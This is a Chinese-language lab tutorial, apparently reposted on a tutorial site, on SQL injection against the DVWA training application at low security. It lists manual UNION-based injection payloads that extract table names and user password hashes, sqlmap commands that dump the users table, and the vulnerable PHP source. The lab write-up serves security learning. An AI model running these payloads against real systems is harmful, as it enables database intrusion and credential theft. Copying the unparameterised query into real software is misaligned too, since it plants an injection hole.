首页 / 更多教程 / DVWA学习之SQL注入
DVWA学习之SQL注入
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了DVWA学习之SQL注入,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含3043字,纯文字阅读大概需要5分钟。
内容图文
DVWA学习之SQL注入
环境工具
dvwa 1.9
phpstudy
firefox
burpsuite
实验步骤
一、设置安全级别为LOW
1. 登录DVWA,并将安全级别设置为LOW
2. 进入SQL注入模块,并输入1,返回结果如下
3. 下面判断注入类型是字符型注入还是整数型注入
字符型注入的SQL语句形如
select * from xx where id='$id'
整数型注入的SQL语句形如
select * from xx where id=$id
(1) 分别输入 1 and 1=1 和 1 and 1=2,都能返回正常结果
说明不是整数型注入,因为如果是整数型注入,执行select * from xx where id=1 and 1=2 时应报错。
(问:select * from xx where id='1 and 1=2' 这里应该不返回结果才对?)
(2) 输入 1’ or '1'='1 ,返回所有结果
4. 获取列数
(1) 1' or '1'='1' order by 3 #
(2) 1' or '1'='1' order by 2 #
说明表中的数据共两列
5. 获取数据库名
1' union select 1, database() #
6. 获取数据库中的表名
1' or '1'='1' union select 1,table_name from information_schema.tables where table_schema=database() #
获取guestbook, users 两张表
7. 获取users表中的列名
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' #
8. 获取users 表中的用户名密码
1' union select user,password from users #
用sqlmap 实现SQL注入
1. 尝试直接用url,发现结果跳转到登录页面,所以需要cookie
2. 带上cookie参数
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1"
3. 使用--batch 参数,可以让sqlmap为我们自动填写执行选项
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --batch
4. 使用--dbs 获取所有的数据库
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --dbs?
5. 使用-D指定数据库,--tables 查看数据中的表
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa --tables
6. 用-D xxx -T xxx 指定表,--columns查看表的列
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" --D dvwa -T users --columns??
7. 用-C xxx --dump 输出指定列的数据
python sqlmap.py -u "http://192.168.138.63/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6n3qbqcctf72hdh550hu7lskj1" -D dvwa -T users -C first_name,last_name,password --dump?
(sqlmap 还可以爆破hash密码)
附录
服务器核心代码(LOW)
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); // Get results $num = mysql_numrows( $result ); $i = 0; while( $i < $num ) { // Get values $first = mysql_result( $result, $i, "first_name" ); $last = mysql_result( $result, $i, "last_name" ); // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; // Increase loop count $i++; } mysql_close(); } ?>
内容总结
以上是互联网集市为您收集整理的DVWA学习之SQL注入全部内容,希望文章能够帮你解决DVWA学习之SQL注入所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。